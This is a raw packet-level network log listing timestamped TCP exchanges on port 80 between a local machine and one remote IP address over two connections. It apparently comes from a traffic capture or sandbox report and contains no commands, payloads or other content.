May 6, 2024 02:52:53.461771965 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461781025 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461783886 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461803913 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461806059 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461819887 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461831093 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461837053 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461843967 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461869955 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461894035 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461913109 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461925983 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461936951 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461949110 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461966038 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461986065 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461998940 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.462002993 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.462009907 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.462023020 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.462030888 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.462034941 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.462047100 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.462059021 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.462068081 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.462106943 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.462332010 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.462376118 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.462404966 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.462450981 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.462460995 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.462507010 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.463824987 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.463876963 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.463892937 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.463937044 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.468868017 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.468919992 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.503662109 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.503705025 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.503798962 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.503828049 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.503876925 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.503953934 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.504329920 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.504381895 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.504832029 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.504890919 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.505249977 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.505300045 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.505331993 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.505372047 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.505959988 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.506073952 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.506088018 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.506150961 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.506544113 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.506556988 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.506608963 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.506649017 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.507261038 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.511059046 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.541960955 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.543276072 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.550210953 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.550303936 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.550452948 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.550507069 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.550595999 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.550647020 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.550658941 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.550671101 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.550672054 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.550683022 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.550704956 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.550750971 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.550885916 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.550893068 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.550899029 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.550931931 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.550945044 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.550947905 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.550971985 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.550991058 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.551004887 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.551008940 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.551039934 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.551053047 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.551054955 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.551067114 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.551079035 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.551093102 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.551105022 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.551116943 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.551120043 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.551130056 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.551141024 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.551153898 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.551155090 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.551167965 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.551177979 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.551198006 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.551223993 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.589051008 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.589359999 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.590616941 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.590770006 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.590800047 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.590857983 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.590888023 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.590943098 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.590995073 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.591042995 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.591367960 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.591418982 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.591701984 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.591718912 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.591748953 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.591783047 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.592268944 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.592319965 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.592650890 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.592703104 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.592895985 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.592948914 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.592962027 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.592973948 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.593010902 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.593543053 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.593599081 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.631805897 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.631825924 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.632029057 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.633666992 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.633940935 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.633997917 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.634049892 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.634084940 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.634133101 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.634529114 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.634581089 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.634957075 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.634989023 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.635035992 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.635166883 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.635232925 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.635447979 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.635504961 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.635664940 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.635718107 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.636018991 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.636075974 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.636344910 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.636396885 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.674175978 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.674263954 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.674356937 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.674370050 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.674401045 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.674616098 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.674853086 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.674942970 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.676616907 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.676698923 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.676753998 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.676876068 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.676995993 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.677050114 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.677246094 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.677298069 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.677458048 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.677515984 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.677685976 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.677736998 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.678402901 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.678420067 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.678456068 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.678482056 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.678581953 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.678651094 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.678818941 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.678832054 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.678870916 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.678894997 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.679402113 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.679454088 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.716797113 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.716876030 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.716881037 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.717084885 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.717106104 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.717118979 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.717154026 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.717180967 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.717187881 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.717367887 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.719039917 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.719093084 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.719095945 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.719141006 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.719646931 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.719660997 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.719697952 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.719727039 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.720078945 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.720093012 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.720133066 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.720155954 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.721215963 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.721286058 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.721291065 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.721301079 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.721338034 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.721353054 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.721514940 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.721529007 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.721570015 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.724030972 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.724087954 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.759310961 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.759373903 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.759382963 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.759423018 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.759587049 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.759602070 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.759645939 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.760377884 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.760395050 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.760432959 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.760468960 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.761347055 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.761399031 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.761472940 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.761528015 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.761770010 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.761821032 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.761948109 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.762000084 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.762042999 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.762092113 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.763747931 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.763761044 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.763801098 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.763824940 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.763952971 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.763976097 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.764003992 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.764029026 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.764699936 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.764753103 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.765050888 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.765103102 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.766290903 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.766344070 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.801667929 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.801762104 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.801805019 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.801940918 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.801987886 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.802040100 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.802252054 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.802303076 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.802721024 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.802776098 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.802819014 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.802887917 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.803584099 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.803636074 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.803641081 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.803689003 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.805766106 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.805824041 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.805847883 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.805891991 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.805900097 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.805972099 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.806189060 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.806236982 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.806318045 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.806368113 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.806745052 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.806796074 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.807100058 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.807147980 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.807492971 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.807544947 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.807599068 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.807646036 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.813066959 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.813119888 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.844285965 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.844299078 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.844472885 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.844512939 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.844532013 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.844863892 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.965403080 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.107220888 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.223812103 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.223928928 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.224196911 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.523561954 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.574652910 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.574670076 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.574687004 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.574700117 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.574744940 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.574811935 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.575454950 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.575469971 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.575517893 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.575551987 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.576087952 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.576107979 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.576154947 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.662729979 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.662770033 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.662848949 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.662870884 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.833553076 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.833571911 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.833585978 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.833655119 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.833661079 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.833668947 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.833681107 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.833693981 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.833708048 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.833739042 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.833744049 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.833759069 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.833775043 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.833787918 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.833797932 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.833802938 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.833827019 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.833847046 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.833868027 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.834317923 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.834331989 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.834368944 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.834441900 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.834455013 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.834496021 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:54.921120882 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.921183109 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.921186924 CEST	49716	80	192.168.2.6	31.41.44.147
